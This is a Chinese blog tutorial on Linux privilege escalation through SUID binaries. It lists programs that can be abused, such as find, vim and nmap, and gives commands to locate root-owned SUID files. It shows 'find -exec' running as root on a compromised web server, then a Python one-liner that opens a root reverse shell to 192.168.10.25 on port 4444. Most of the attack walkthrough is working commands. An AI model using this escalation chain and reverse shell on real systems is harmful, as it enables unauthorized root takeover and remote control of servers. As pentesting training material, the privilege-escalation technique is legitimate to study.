Linux 提权 —— SUID提权

OnionT@KillBoy 渗透测试评论15,0043字数 1020阅读3分24秒阅读模式

SUID可以让调用者以文件拥有者的身份运行该文件,所以我们利用SUID提权的思路就是运行root用户所拥有的SUID的文件,那么我们运行该文件的时候就得获得root用户的身份了。

已知的可用来提权的linux可行性的文件列表如下:

nmap • vim • find • bash • more • less • nano • cp 

以下命令可以发现系统上运行的所有SUID可执行文件。

1. #以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试 2. find / -perm -u=s -type f 2>/dev/null 3. find / -user root -perm -4000-print2>/dev/null 4. find / -user root -perm -4000-exec ls -ldb {} /; 

利用find文件提权
假如我们现在拿到了一个网站服务器的shell,但是权限是ubuntu,我们现在需要提权到 root 用户权限。
Linux 提权 —— SUID提权
我们查看具有root用户权限的SUID文件
find / -perm -u=s -type f 2>/dev/null
Linux 提权 —— SUID提权
我们随便找一个命令进行利用,我们就找find,先查看其信息,发现其确实是root用户权限的SUID的文件
Linux 提权 —— SUID提权
我们先看一下是否能用find命令以root权限运行,发现确实可以以root权限运行
/usr/bin/find examples.desktop -exec whoami /;
Linux 提权 —— SUID提权
至于这里为什么可以用find -exec ,可以查看find帮助或者man手册

然后我们查看目标网站上是否有python环境,可以看到有python2.7.6的环境
Linux 提权 —— SUID提权
于是我们以root用户的身份利用python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.25",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'  #反弹一个sh类型的shell

Linux 提权 —— SUID提权
可以看到,在攻击端收到了反弹过来的shell,并且是root身份
Linux 提权 —— SUID提权

http://www.oniont.cn/index.php/archives/142.html

免责声明:本站某些文章、信息、图片、软件等来源于互联网,由本网整理发表,希望传递更多信息和学习之目的,并不意味赞同起观点或证实其内容的真实性以及非法用途。 如设计、版权等问题,请立即联系管理员,我们会给予更改或删除相关文章,保证您的权利。
高性能云服务器2折起
 
OnionT@KillBoy
匿名

发表评论

匿名网友

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: